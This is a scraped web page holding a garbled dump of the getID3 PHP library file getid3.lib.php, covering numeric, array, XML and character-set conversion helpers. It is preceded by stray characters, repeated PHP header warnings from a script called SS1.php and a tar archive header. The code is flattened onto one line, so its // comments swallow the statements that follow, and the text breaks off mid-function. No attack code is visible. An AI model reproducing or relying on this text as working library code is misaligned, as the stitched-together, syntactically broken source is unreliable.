??????????????
Warning: Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/mentol.bf1.my/SS1.php:4) in /home/mybf1/public_html/mentol.bf1.my/SS1.php on line 173

Warning: Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/mentol.bf1.my/SS1.php:4) in /home/mybf1/public_html/mentol.bf1.my/SS1.php on line 174

Warning: Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/mentol.bf1.my/SS1.php:4) in /home/mybf1/public_html/mentol.bf1.my/SS1.php on line 175

Warning: Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/mentol.bf1.my/SS1.php:4) in /home/mybf1/public_html/mentol.bf1.my/SS1.php on line 176

Warning: Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/mentol.bf1.my/SS1.php:4) in /home/mybf1/public_html/mentol.bf1.my/SS1.php on line 177

Warning: Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/mentol.bf1.my/SS1.php:4) in /home/mybf1/public_html/mentol.bf1.my/SS1.php on line 178
ID3/getid3.lib.php000064400000147116151202620270007567 0ustar00 // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // // // getid3.lib.php - part of getID3() // // see readme.txt for more details // // /// ///////////////////////////////////////////////////////////////// class getid3_lib { /** * @param string $string * @param bool $hex * @param bool $spaces * @param string|bool $htmlencoding * * @return string */ public static function PrintHexBytes($string, $hex=true, $spaces=true, $htmlencoding='UTF-8') { $returnstring = ''; for ($i = 0; $i < strlen($string); $i++) { if ($hex) { $returnstring .= str_pad(dechex(ord($string[$i])), 2, '0', STR_PAD_LEFT); } else { $returnstring .= ' '.(preg_match("#[\x20-\x7E]#", $string[$i]) ? $string[$i] : '¤'); } if ($spaces) { $returnstring .= ' '; } } if (!empty($htmlencoding)) { if ($htmlencoding === true) { $htmlencoding = 'UTF-8'; // prior to getID3 v1.9.0 the function's 4th parameter was boolean } $returnstring = htmlentities($returnstring, ENT_QUOTES, $htmlencoding); } return $returnstring; } /** * Truncates a floating-point number at the decimal point. * * @param float $floatnumber * * @return float|int returns int (if possible, otherwise float) */ public static function trunc($floatnumber) { if ($floatnumber >= 1) { $truncatednumber = floor($floatnumber); } elseif ($floatnumber <= -1) { $truncatednumber = ceil($floatnumber); } else { $truncatednumber = 0; } if (self::intValueSupported($truncatednumber)) { $truncatednumber = (int) $truncatednumber; } return $truncatednumber; } /** * @param int|null $variable * @param int $increment * * @return bool */ public static function safe_inc(&$variable, $increment=1) { if (isset($variable)) { $variable += $increment; } else { $variable = $increment; } return true; } /** * @param int|float $floatnum * * @return int|float */ public static function CastAsInt($floatnum) { // convert to float if not already $floatnum = (float) $floatnum; // convert a float to type int, only if possible if (self::trunc($floatnum) == $floatnum) { // it's not floating point if (self::intValueSupported($floatnum)) { // it's within int range $floatnum = (int) $floatnum; } } return $floatnum; } /** * @param int $num * * @return bool */ public static function intValueSupported($num) { // check if integers are 64-bit static $hasINT64 = null; if ($hasINT64 === null) { // 10x faster than is_null() $hasINT64 = is_int(pow(2, 31)); // 32-bit int are limited to (2^31)-1 if (!$hasINT64 && !defined('PHP_INT_MIN')) { define('PHP_INT_MIN', ~PHP_INT_MAX); } } // if integers are 64-bit - no other check required if ($hasINT64 || (($num <= PHP_INT_MAX) && ($num >= PHP_INT_MIN))) { // phpcs:ignore PHPCompatibility.Constants.NewConstants.php_int_minFound return true; } return false; } /** * @param string $fraction * * @return float */ public static function DecimalizeFraction($fraction) { list($numerator, $denominator) = explode('/', $fraction); return $numerator / ($denominator ? $denominator : 1); } /** * @param string $binarynumerator * * @return float */ public static function DecimalBinary2Float($binarynumerator) { $numerator = self::Bin2Dec($binarynumerator); $denominator = self::Bin2Dec('1'.str_repeat('0', strlen($binarynumerator))); return ($numerator / $denominator); } /** * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html * * @param string $binarypointnumber * @param int $maxbits * * @return array */ public static function NormalizeBinaryPoint($binarypointnumber, $maxbits=52) { if (strpos($binarypointnumber, '.') === false) { $binarypointnumber = '0.'.$binarypointnumber; } elseif ($binarypointnumber[0] == '.') { $binarypointnumber = '0'.$binarypointnumber; } $exponent = 0; while (($binarypointnumber[0] != '1') || (substr($binarypointnumber, 1, 1) != '.')) { if (substr($binarypointnumber, 1, 1) == '.') { $exponent--; $binarypointnumber = substr($binarypointnumber, 2, 1).'.'.substr($binarypointnumber, 3); } else { $pointpos = strpos($binarypointnumber, '.'); $exponent += ($pointpos - 1); $binarypointnumber = str_replace('.', '', $binarypointnumber); $binarypointnumber = $binarypointnumber[0].'.'.substr($binarypointnumber, 1); } } $binarypointnumber = str_pad(substr($binarypointnumber, 0, $maxbits + 2), $maxbits + 2, '0', STR_PAD_RIGHT); return array('normalized'=>$binarypointnumber, 'exponent'=>(int) $exponent); } /** * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html * * @param float $floatvalue * * @return string */ public static function Float2BinaryDecimal($floatvalue) { $maxbits = 128; // to how many bits of precision should the calculations be taken? $intpart = self::trunc($floatvalue); $floatpart = abs($floatvalue - $intpart); $pointbitstring = ''; while (($floatpart != 0) && (strlen($pointbitstring) < $maxbits)) { $floatpart *= 2; $pointbitstring .= (string) self::trunc($floatpart); $floatpart -= self::trunc($floatpart); } $binarypointnumber = decbin($intpart).'.'.$pointbitstring; return $binarypointnumber; } /** * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee-expl.html * * @param float $floatvalue * @param int $bits * * @return string|false */ public static function Float2String($floatvalue, $bits) { $exponentbits = 0; $fractionbits = 0; switch ($bits) { case 32: $exponentbits = 8; $fractionbits = 23; break; case 64: $exponentbits = 11; $fractionbits = 52; break; default: return false; } if ($floatvalue >= 0) { $signbit = '0'; } else { $signbit = '1'; } $normalizedbinary = self::NormalizeBinaryPoint(self::Float2BinaryDecimal($floatvalue), $fractionbits); $biasedexponent = pow(2, $exponentbits - 1) - 1 + $normalizedbinary['exponent']; // (127 or 1023) +/- exponent $exponentbitstring = str_pad(decbin($biasedexponent), $exponentbits, '0', STR_PAD_LEFT); $fractionbitstring = str_pad(substr($normalizedbinary['normalized'], 2), $fractionbits, '0', STR_PAD_RIGHT); return self::BigEndian2String(self::Bin2Dec($signbit.$exponentbitstring.$fractionbitstring), $bits % 8, false); } /** * @param string $byteword * * @return float|false */ public static function LittleEndian2Float($byteword) { return self::BigEndian2Float(strrev($byteword)); } /** * ANSI/IEEE Standard 754-1985, Standard for Binary Floating Point Arithmetic * * @link http://www.psc.edu/general/software/packages/ieee/ieee.html * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee.html * * @param string $byteword * * @return float|false */ public static function BigEndian2Float($byteword) { $bitword = self::BigEndian2Bin($byteword); if (!$bitword) { return 0; } $signbit = $bitword[0]; $floatvalue = 0; $exponentbits = 0; $fractionbits = 0; switch (strlen($byteword) * 8) { case 32: $exponentbits = 8; $fractionbits = 23; break; case 64: $exponentbits = 11; $fractionbits = 52; break; case 80: // 80-bit Apple SANE format // http://www.mactech.com/articles/mactech/Vol.06/06.01/SANENormalized/ $exponentstring = substr($bitword, 1, 15); $isnormalized = intval($bitword[16]); $fractionstring = substr($bitword, 17, 63); $exponent = pow(2, self::Bin2Dec($exponentstring) - 16383); $fraction = $isnormalized + self::DecimalBinary2Float($fractionstring); $floatvalue = $exponent * $fraction; if ($signbit == '1') { $floatvalue *= -1; } return $floatvalue; default: return false; } $exponentstring = substr($bitword, 1, $exponentbits); $fractionstring = substr($bitword, $exponentbits + 1, $fractionbits); $exponent = self::Bin2Dec($exponentstring); $fraction = self::Bin2Dec($fractionstring); if (($exponent == (pow(2, $exponentbits) - 1)) && ($fraction != 0)) { // Not a Number $floatvalue = false; } elseif (($exponent == (pow(2, $exponentbits) - 1)) && ($fraction == 0)) { if ($signbit == '1') { $floatvalue = '-infinity'; } else { $floatvalue = '+infinity'; } } elseif (($exponent == 0) && ($fraction == 0)) { if ($signbit == '1') { $floatvalue = -0; } else { $floatvalue = 0; } $floatvalue = ($signbit ? 0 : -0); } elseif (($exponent == 0) && ($fraction != 0)) { // These are 'unnormalized' values $floatvalue = pow(2, (-1 * (pow(2, $exponentbits - 1) - 2))) * self::DecimalBinary2Float($fractionstring); if ($signbit == '1') { $floatvalue *= -1; } } elseif ($exponent != 0) { $floatvalue = pow(2, ($exponent - (pow(2, $exponentbits - 1) - 1))) * (1 + self::DecimalBinary2Float($fractionstring)); if ($signbit == '1') { $floatvalue *= -1; } } return (float) $floatvalue; } /** * @param string $byteword * @param bool $synchsafe * @param bool $signed * * @return int|float|false * @throws Exception */ public static function BigEndian2Int($byteword, $synchsafe=false, $signed=false) { $intvalue = 0; $bytewordlen = strlen($byteword); if ($bytewordlen == 0) { return false; } for ($i = 0; $i < $bytewordlen; $i++) { if ($synchsafe) { // disregard MSB, effectively 7-bit bytes //$intvalue = $intvalue | (ord($byteword{$i}) & 0x7F) << (($bytewordlen - 1 - $i) * 7); // faster, but runs into problems past 2^31 on 32-bit systems $intvalue += (ord($byteword[$i]) & 0x7F) * pow(2, ($bytewordlen - 1 - $i) * 7); } else { $intvalue += ord($byteword[$i]) * pow(256, ($bytewordlen - 1 - $i)); } } if ($signed && !$synchsafe) { // synchsafe ints are not allowed to be signed if ($bytewordlen <= PHP_INT_SIZE) { $signMaskBit = 0x80 << (8 * ($bytewordlen - 1)); if ($intvalue & $signMaskBit) { $intvalue = 0 - ($intvalue & ($signMaskBit - 1)); } } else { throw new Exception('ERROR: Cannot have signed integers larger than '.(8 * PHP_INT_SIZE).'-bits ('.strlen($byteword).') in self::BigEndian2Int()'); } } return self::CastAsInt($intvalue); } /** * @param string $byteword * @param bool $signed * * @return int|float|false */ public static function LittleEndian2Int($byteword, $signed=false) { return self::BigEndian2Int(strrev($byteword), false, $signed); } /** * @param string $byteword * * @return string */ public static function LittleEndian2Bin($byteword) { return self::BigEndian2Bin(strrev($byteword)); } /** * @param string $byteword * * @return string */ public static function BigEndian2Bin($byteword) { $binvalue = ''; $bytewordlen = strlen($byteword); for ($i = 0; $i < $bytewordlen; $i++) { $binvalue .= str_pad(decbin(ord($byteword[$i])), 8, '0', STR_PAD_LEFT); } return $binvalue; } /** * @param int $number * @param int $minbytes * @param bool $synchsafe * @param bool $signed * * @return string * @throws Exception */ public static function BigEndian2String($number, $minbytes=1, $synchsafe=false, $signed=false) { if ($number < 0) { throw new Exception('ERROR: self::BigEndian2String() does not support negative numbers'); } $maskbyte = (($synchsafe || $signed) ? 0x7F : 0xFF); $intstring = ''; if ($signed) { if ($minbytes > PHP_INT_SIZE) { throw new Exception('ERROR: Cannot have signed integers larger than '.(8 * PHP_INT_SIZE).'-bits in self::BigEndian2String()'); } $number = $number & (0x80 << (8 * ($minbytes - 1))); } while ($number != 0) { $quotient = ($number / ($maskbyte + 1)); $intstring = chr(ceil(($quotient - floor($quotient)) * $maskbyte)).$intstring; $number = floor($quotient); } return str_pad($intstring, $minbytes, "\x00", STR_PAD_LEFT); } /** * @param int $number * * @return string */ public static function Dec2Bin($number) { while ($number >= 256) { $bytes[] = (($number / 256) - (floor($number / 256))) * 256; $number = floor($number / 256); } $bytes[] = $number; $binstring = ''; for ($i = 0; $i < count($bytes); $i++) { $binstring = (($i == count($bytes) - 1) ? decbin($bytes[$i]) : str_pad(decbin($bytes[$i]), 8, '0', STR_PAD_LEFT)).$binstring; } return $binstring; } /** * @param string $binstring * @param bool $signed * * @return int|float */ public static function Bin2Dec($binstring, $signed=false) { $signmult = 1; if ($signed) { if ($binstring[0] == '1') { $signmult = -1; } $binstring = substr($binstring, 1); } $decvalue = 0; for ($i = 0; $i < strlen($binstring); $i++) { $decvalue += ((int) substr($binstring, strlen($binstring) - $i - 1, 1)) * pow(2, $i); } return self::CastAsInt($decvalue * $signmult); } /** * @param string $binstring * * @return string */ public static function Bin2String($binstring) { // return 'hi' for input of '0110100001101001' $string = ''; $binstringreversed = strrev($binstring); for ($i = 0; $i < strlen($binstringreversed); $i += 8) { $string = chr(self::Bin2Dec(strrev(substr($binstringreversed, $i, 8)))).$string; } return $string; } /** * @param int $number * @param int $minbytes * @param bool $synchsafe * * @return string */ public static function LittleEndian2String($number, $minbytes=1, $synchsafe=false) { $intstring = ''; while ($number > 0) { if ($synchsafe) { $intstring = $intstring.chr($number & 127); $number >>= 7; } else { $intstring = $intstring.chr($number & 255); $number >>= 8; } } return str_pad($intstring, $minbytes, "\x00", STR_PAD_RIGHT); } /** * @param mixed $array1 * @param mixed $array2 * * @return array|false */ public static function array_merge_clobber($array1, $array2) { // written by kcØhireability*com // taken from http://www.php.net/manual/en/function.array-merge-recursive.php if (!is_array($array1) || !is_array($array2)) { return false; } $newarray = $array1; foreach ($array2 as $key => $val) { if (is_array($val) && isset($newarray[$key]) && is_array($newarray[$key])) { $newarray[$key] = self::array_merge_clobber($newarray[$key], $val); } else { $newarray[$key] = $val; } } return $newarray; } /** * @param mixed $array1 * @param mixed $array2 * * @return array|false */ public static function array_merge_noclobber($array1, $array2) { if (!is_array($array1) || !is_array($array2)) { return false; } $newarray = $array1; foreach ($array2 as $key => $val) { if (is_array($val) && isset($newarray[$key]) && is_array($newarray[$key])) { $newarray[$key] = self::array_merge_noclobber($newarray[$key], $val); } elseif (!isset($newarray[$key])) { $newarray[$key] = $val; } } return $newarray; } /** * @param mixed $array1 * @param mixed $array2 * * @return array|false|null */ public static function flipped_array_merge_noclobber($array1, $array2) { if (!is_array($array1) || !is_array($array2)) { return false; } # naturally, this only works non-recursively $newarray = array_flip($array1); foreach (array_flip($array2) as $key => $val) { if (!isset($newarray[$key])) { $newarray[$key] = count($newarray); } } return array_flip($newarray); } /** * @param array $theArray * * @return bool */ public static function ksort_recursive(&$theArray) { ksort($theArray); foreach ($theArray as $key => $value) { if (is_array($value)) { self::ksort_recursive($theArray[$key]); } } return true; } /** * @param string $filename * @param int $numextensions * * @return string */ public static function fileextension($filename, $numextensions=1) { if (strstr($filename, '.')) { $reversedfilename = strrev($filename); $offset = 0; for ($i = 0; $i < $numextensions; $i++) { $offset = strpos($reversedfilename, '.', $offset + 1); if ($offset === false) { return ''; } } return strrev(substr($reversedfilename, 0, $offset)); } return ''; } /** * @param int $seconds * * @return string */ public static function PlaytimeString($seconds) { $sign = (($seconds < 0) ? '-' : ''); $seconds = round(abs($seconds)); $H = (int) floor( $seconds / 3600); $M = (int) floor(($seconds - (3600 * $H) ) / 60); $S = (int) round( $seconds - (3600 * $H) - (60 * $M) ); return $sign.($H ? $H.':' : '').($H ? str_pad($M, 2, '0', STR_PAD_LEFT) : intval($M)).':'.str_pad($S, 2, 0, STR_PAD_LEFT); } /** * @param int $macdate * * @return int|float */ public static function DateMac2Unix($macdate) { // Macintosh timestamp: seconds since 00:00h January 1, 1904 // UNIX timestamp: seconds since 00:00h January 1, 1970 return self::CastAsInt($macdate - 2082844800); } /** * @param string $rawdata * * @return float */ public static function FixedPoint8_8($rawdata) { return self::BigEndian2Int(substr($rawdata, 0, 1)) + (float) (self::BigEndian2Int(substr($rawdata, 1, 1)) / pow(2, 8)); } /** * @param string $rawdata * * @return float */ public static function FixedPoint16_16($rawdata) { return self::BigEndian2Int(substr($rawdata, 0, 2)) + (float) (self::BigEndian2Int(substr($rawdata, 2, 2)) / pow(2, 16)); } /** * @param string $rawdata * * @return float */ public static function FixedPoint2_30($rawdata) { $binarystring = self::BigEndian2Bin($rawdata); return self::Bin2Dec(substr($binarystring, 0, 2)) + (float) (self::Bin2Dec(substr($binarystring, 2, 30)) / pow(2, 30)); } /** * @param string $ArrayPath * @param string $Separator * @param mixed $Value * * @return array */ public static function CreateDeepArray($ArrayPath, $Separator, $Value) { // assigns $Value to a nested array path: // $foo = self::CreateDeepArray('/path/to/my', '/', 'file.txt') // is the same as: // $foo = array('path'=>array('to'=>'array('my'=>array('file.txt')))); // or // $foo['path']['to']['my'] = 'file.txt'; $ArrayPath = ltrim($ArrayPath, $Separator); if (($pos = strpos($ArrayPath, $Separator)) !== false) { $ReturnedArray[substr($ArrayPath, 0, $pos)] = self::CreateDeepArray(substr($ArrayPath, $pos + 1), $Separator, $Value); } else { $ReturnedArray[$ArrayPath] = $Value; } return $ReturnedArray; } /** * @param array $arraydata * @param bool $returnkey * * @return int|false */ public static function array_max($arraydata, $returnkey=false) { $maxvalue = false; $maxkey = false; foreach ($arraydata as $key => $value) { if (!is_array($value)) { if (($maxvalue === false) || ($value > $maxvalue)) { $maxvalue = $value; $maxkey = $key; } } } return ($returnkey ? $maxkey : $maxvalue); } /** * @param array $arraydata * @param bool $returnkey * * @return int|false */ public static function array_min($arraydata, $returnkey=false) { $minvalue = false; $minkey = false; foreach ($arraydata as $key => $value) { if (!is_array($value)) { if (($minvalue === false) || ($value < $minvalue)) { $minvalue = $value; $minkey = $key; } } } return ($returnkey ? $minkey : $minvalue); } /** * @param string $XMLstring * * @return array|false */ public static function XML2array($XMLstring) { if (function_exists('simplexml_load_string') && function_exists('libxml_disable_entity_loader')) { // http://websec.io/2012/08/27/Preventing-XEE-in-PHP.html // https://core.trac.wordpress.org/changeset/29378 // This function has been deprecated in PHP 8.0 because in libxml 2.9.0, external entity loading is // disabled by default, but is still needed when LIBXML_NOENT is used. $loader = @libxml_disable_entity_loader(true); $XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', LIBXML_NOENT); $return = self::SimpleXMLelement2array($XMLobject); @libxml_disable_entity_loader($loader); return $return; } return false; } /** * @param SimpleXMLElement|array|mixed $XMLobject * * @return mixed */ public static function SimpleXMLelement2array($XMLobject) { if (!is_object($XMLobject) && !is_array($XMLobject)) { return $XMLobject; } $XMLarray = $XMLobject instanceof SimpleXMLElement ? get_object_vars($XMLobject) : $XMLobject; foreach ($XMLarray as $key => $value) { $XMLarray[$key] = self::SimpleXMLelement2array($value); } return $XMLarray; } /** * Returns checksum for a file from starting position to absolute end position. * * @param string $file * @param int $offset * @param int $end * @param string $algorithm * * @return string|false * @throws getid3_exception */ public static function hash_data($file, $offset, $end, $algorithm) { if (!self::intValueSupported($end)) { return false; } if (!in_array($algorithm, array('md5', 'sha1'))) { throw new getid3_exception('Invalid algorithm ('.$algorithm.') in self::hash_data()'); } $size = $end - $offset; $fp = fopen($file, 'rb'); fseek($fp, $offset); $ctx = hash_init($algorithm); while ($size > 0) { $buffer = fread($fp, min($size, getID3::FREAD_BUFFER_SIZE)); hash_update($ctx, $buffer); $size -= getID3::FREAD_BUFFER_SIZE; } $hash = hash_final($ctx); fclose($fp); return $hash; } /** * @param string $filename_source * @param string $filename_dest * @param int $offset * @param int $length * * @return bool * @throws Exception * * @deprecated Unused, may be removed in future versions of getID3 */ public static function CopyFileParts($filename_source, $filename_dest, $offset, $length) { if (!self::intValueSupported($offset + $length)) { throw new Exception('cannot copy file portion, it extends beyond the '.round(PHP_INT_MAX / 1073741824).'GB limit'); } if (is_readable($filename_source) && is_file($filename_source) && ($fp_src = fopen($filename_source, 'rb'))) { if (($fp_dest = fopen($filename_dest, 'wb'))) { if (fseek($fp_src, $offset) == 0) { $byteslefttowrite = $length; while (($byteslefttowrite > 0) && ($buffer = fread($fp_src, min($byteslefttowrite, getID3::FREAD_BUFFER_SIZE)))) { $byteswritten = fwrite($fp_dest, $buffer, $byteslefttowrite); $byteslefttowrite -= $byteswritten; } fclose($fp_dest); return true; } else { fclose($fp_src); throw new Exception('failed to seek to offset '.$offset.' in '.$filename_source); } } else { throw new Exception('failed to create file for writing '.$filename_dest); } } else { throw new Exception('failed to open file for reading '.$filename_source); } } /** * @param int $charval * * @return string */ public static function iconv_fallback_int_utf8($charval) { if ($charval < 128) { // 0bbbbbbb $newcharstring = chr($charval); } elseif ($charval < 2048) { // 110bbbbb 10bbbbbb $newcharstring = chr(($charval >> 6) | 0xC0); $newcharstring .= chr(($charval & 0x3F) | 0x80); } elseif ($charval < 65536) { // 1110bbbb 10bbbbbb 10bbbbbb $newcharstring = chr(($charval >> 12) | 0xE0); $newcharstring .= chr(($charval >> 6) | 0xC0); $newcharstring .= chr(($charval & 0x3F) | 0x80); } else { // 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb $newcharstring = chr(($charval >> 18) | 0xF0); $newcharstring .= chr(($charval >> 12) | 0xC0); $newcharstring .= chr(($charval >> 6) | 0xC0); $newcharstring .= chr(($charval & 0x3F) | 0x80); } return $newcharstring; } /** * ISO-8859-1 => UTF-8 * * @param string $string * @param bool $bom * * @return string */ public static function iconv_fallback_iso88591_utf8($string, $bom=false) { if (function_exists('utf8_encode')) { return utf8_encode($string); } // utf8_encode() unavailable, use getID3()'s iconv_fallback() conversions (possibly PHP is compiled without XML support) $newcharstring = ''; if ($bom) { $newcharstring .= "\xEF\xBB\xBF"; } for ($i = 0; $i < strlen($string); $i++) { $charval = ord($string[$i]); $newcharstring .= self::iconv_fallback_int_utf8($charval); } return $newcharstring; } /** * ISO-8859-1 => UTF-16BE * * @param string $string * @param bool $bom * * @return string */ public static function iconv_fallback_iso88591_utf16be($string, $bom=false) { $newcharstring = ''; if ($bom) { $newcharstring .= "\xFE\xFF"; } for ($i = 0; $i < strlen($string); $i++) { $newcharstring .= "\x00".$string[$i]; } return $newcharstring; } /** * ISO-8859-1 => UTF-16LE * * @param string $string * @param bool $bom * * @return string */ public static function iconv_fallback_iso88591_utf16le($string, $bom=false) { $newcharstring = ''; if ($bom) { $newcharstring .= "\xFF\xFE"; } for ($i = 0; $i < strlen($string); $i++) { $newcharstring .= $string[$i]."\x00"; } return $newcharstring; } /** * ISO-8859-1 => UTF-16LE (BOM) * * @param string $string * * @return string */ public static function iconv_fallback_iso88591_utf16($string) { return self::iconv_fallback_iso88591_utf16le($string, true); } /** * UTF-8 => ISO-8859-1 * * @param string $string * * @return string */ public static function iconv_fallback_utf8_iso88591($string) { if (function_exists('utf8_decode')) { return utf8_decode($string); } // utf8_decode() unavailable, use getID3()'s iconv_fallback() conversions (possibly PHP is compiled without XML support) $newcharstring = ''; $offset = 0; $stringlength = strlen($string); while ($offset < $stringlength) { if ((ord($string[$offset]) | 0x07) == 0xF7) { // 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb $charval = ((ord($string[($offset + 0)]) & 0x07) << 18) & ((ord($string[($offset + 1)]) & 0x3F) << 12) & ((ord($string[($offset + 2)]) & 0x3F) << 6) & (ord($string[($offset + 3)]) & 0x3F); $offset += 4; } elseif ((ord($string[$offset]) | 0x0F) == 0xEF) { // 1110bbbb 10bbbbbb 10bbbbbb $charval = ((ord($string[($offset + 0)]) & 0x0F) << 12) & ((ord($string[($offset + 1)]) & 0x3F) << 6) & (ord($string[($offset + 2)]) & 0x3F); $offset += 3; } elseif ((ord($string[$offset]) | 0x1F) == 0xDF) { // 110bbbbb 10bbbbbb $charval = ((ord($string[($offset + 0)]) & 0x1F) << 6) & (ord($string[($offset + 1)]) & 0x3F); $offset += 2; } elseif ((ord($string[$offset]) | 0x7F) == 0x7F) { // 0bbbbbbb $charval = ord($string[$offset]); $offset += 1; } else { // error? throw some kind of warning here? $charval = false; $offset += 1; } if ($charval !== false) { $newcharstring .= (($charval < 256) ? chr($charval) : '?'); } } return $newcharstring; } /** * UTF-8 => UTF-16BE * * @param string $string * @param bool $bom * * @return string */ public static function iconv_fallback_utf8_utf16be($string, $bom=false) { $newcharstring = ''; if ($bom) { $newcharstring .= "\xFE\xFF"; } $offset = 0; $stringlength = strlen($string); while ($offset < $stringlength) { if ((ord($string[$offset]) | 0x07) == 0xF7) { // 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb $charval = ((ord($string[($offset + 0)]) & 0x07) << 18) & ((ord($string[($offset + 1)]) & 0x3F) << 12) & ((ord($string[($offset + 2)]) & 0x3F) << 6) & (ord($string[($offset + 3)]) & 0x3F); $offset += 4; } elseif ((ord($string[$offset]) | 0x0F) == 0xEF) { // 1110bbbb 10bbbbbb 10bbbbbb $charval = ((ord($string[($offset + 0)]) & 0x0F) << 12) & ((ord($string[($offset + 1)]) & 0x3F) << 6) & (ord($string[($offset + 2)]) & 0x3F); $offset += 3; } elseif ((ord($string[$offset]) | 0x1F) == 0xDF) { // 110bbbbb 10bbbbbb $charval = ((ord($string[($offset + 0)]) & 0x1F) << 6) & (ord($string[($offset + 1)]) & 0x3F); $offset += 2; } elseif ((ord($string[$offset]) | 0x7F) == 0x7F) { // 0bbbbbbb $charval = ord($string[$offset]); $offset += 1; } else { // error? throw some kind of warning here? $charval = false; $offset += 1; } if ($charval !== false) { $newcharstring .= (($charval < 65536) ? self::BigEndian2String($charval, 2) : "\x00".'?'); } } return $newcharstring; } /** * UTF-8 => UTF-16LE * * @param string $string * @param bool $bom * * @return string */ public static function iconv_fallback_utf8_utf16le($string, $bom=false) { $newcharstring = ''; if ($bom) { $newcharstring .= "\xFF\xFE"; } $offset = 0; $stringlength = strlen($string); while ($offset < $stringlength) { if ((ord($string[$offset]) | 0x07) == 0xF7) { // 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb $charval = ((ord($string[($offset + 0)]) & 0x07) << 18) & ((ord($string[($offset + 1)]) & 0x3F) << 12) & ((ord($string[($offset + 2)]) & 0x3F) << 6) & (ord($string[($offset + 3)]) & 0x3F); $offset += 4; } elseif ((ord($string[$offset]) | 0x0F) == 0xEF) { // 1110bbbb 10bbbbbb 10bbbbbb $charval = ((ord($string[($offset + 0)]) & 0x0F) << 12) & ((ord($string[($offset + 1)]) & 0x3F) << 6) & (ord($string[($offset + 2)]) & 0x3F); $offset += 3; } elseif ((ord($string[$offset]) | 0x1F) == 0xDF) { // 110bbbbb 10bbbbbb $charval = ((ord($string[($offset + 0)]) & 0x1F) << 6) & (ord($string[($offset + 1)]) & 0x3F); $offset += 2; } elseif ((ord($string[$offset]) | 0x7F) == 0x7F) { // 0bbbbbbb $charval = ord($string[$offset]); $offset += 1; } else { // error? maybe throw some warning here? $charval = false; $offset += 1; } if ($charval !== false) { $newcharstring .= (($charval < 65536) ? self::LittleEndian2String($charval, 2) : '?'."\x00"); } } return $newcharstring; } /** * UTF-8 => UTF-16LE (BOM) * * @param string $string * * @return string */ public static function iconv_fallback_utf8_utf16($string) { return self::iconv_fallback_utf8_utf16le($string, true); } /** * UTF-16BE => UTF-8 * * @param string $string * * @return string */ public static function iconv_fallback_utf16be_utf8($string) { if (substr($string, 0, 2) == "\xFE\xFF") { // strip BOM $string = substr($string, 2); } $newcharstring = ''; for ($i = 0; $i < strlen($string); $i += 2) { $charval = self::BigEndian2Int(substr($string, $i, 2)); $newcharstring .= self::iconv_fallback_int_utf8($charval); } return $newcharstring; } /** * UTF-16LE => UTF-8 * * @param string $string * * @return string */ public static function iconv_fallback_utf16le_utf8($string) { if (substr($string, 0, 2) == "\xFF\xFE") { // strip BOM $string = substr($string, 2); } $newcharstring = ''; for ($i = 0; $i < strlen($string); $i += 2) { $charval = self::LittleEndian2Int(substr($string, $i, 2)); $newcharstring .= self::iconv_fallback_int_utf8($charval); } return $newcharstring; } /** * UTF-16BE => ISO-8859-1 * * @param string $string * * @return string */ public static function iconv_fallback_utf16be_iso88591($string) { if (substr($string, 0, 2) == "\xFE\xFF") { // strip BOM $string = substr($string, 2); } $newcharstring = ''; for ($i = 0; $i < strlen($string); $i += 2) { $charval = self::BigEndian2Int(substr($string, $i, 2)); $newcharstring .= (($charval < 256) ? chr($charval) : '?'); } return $newcharstring; } /** * UTF-16LE => ISO-8859-1 * * @param string $string * * @return string */ public static function iconv_fallback_utf16le_iso88591($string) { if (substr($string, 0, 2) == "\xFF\xFE") { // strip BOM $string = substr($string, 2); } $newcharstring = ''; for ($i = 0; $i < strlen($string); $i += 2) { $charval = self::LittleEndian2Int(substr($string, $i, 2)); $newcharstring .= (($charval < 256) ? chr($charval) : '?'); } return $newcharstring; } /** * UTF-16 (BOM) => ISO-8859-1 * * @param string $string * * @return string */ public static function iconv_fallback_utf16_iso88591($string) { $bom = substr($string, 0, 2); if ($bom == "\xFE\xFF") { return self::iconv_fallback_utf16be_iso88591(substr($string, 2)); } elseif ($bom == "\xFF\xFE") { return self::iconv_fallback_utf16le_iso88591(substr($string, 2)); } return $string; } /** * UTF-16 (BOM) => UTF-8 * * @param string $string * * @return string */ public static function iconv_fallback_utf16_utf8($string) { $bom = substr($string, 0, 2); if ($bom == "\xFE\xFF") { return self::iconv_fallback_utf16be_utf8(substr($string, 2)); } elseif ($bom == "\xFF\xFE") { return self::iconv_fallback_utf16le_utf8(substr($string, 2)); } return $string; } /** * @param string $in_charset * @param string $out_charset * @param string $string * * @return string * @throws Exception */ public static function iconv_fallback($in_charset, $out_charset, $string) { if ($in_charset == $out_charset) { return $string; } // mb_convert_encoding() available if (function_exists('mb_convert_encoding')) { if ((strtoupper($in_charset) == 'UTF-16') && (substr($string, 0, 2) != "\xFE\xFF") && (substr($string, 0, 2) != "\xFF\xFE")) { // if BOM missing, mb_convert_encoding will mishandle the conversion, assume UTF-16BE and prepend appropriate BOM $string = "\xFF\xFE".$string; } if ((strtoupper($in_charset) == 'UTF-16') && (strtoupper($out_charset) == 'UTF-8')) { if (($string == "\xFF\xFE") || ($string == "\xFE\xFF")) { // if string consists of only BOM, mb_convert_encoding will return the BOM unmodified return ''; } } if ($converted_string = @mb_convert_encoding($string, $out_charset, $in_charset)) { switch ($out_charset) { case 'ISO-8859-1': $converted_string = rtrim($converted_string, "\x00"); break; } return $converted_string; } return $string; // iconv() available } elseif (function_exists('iconv')) { if ($converted_string = @iconv($in_charset, $out_charset.'//TRANSLIT', $string)) { switch ($out_charset) { case 'ISO-8859-1': $converted_string = rtrim($converted_string, "\x00"); break; } return $converted_string; } // iconv() may sometimes fail with "illegal character in input string" error message // and return an empty string, but returning the unconverted string is more useful return $string; } // neither 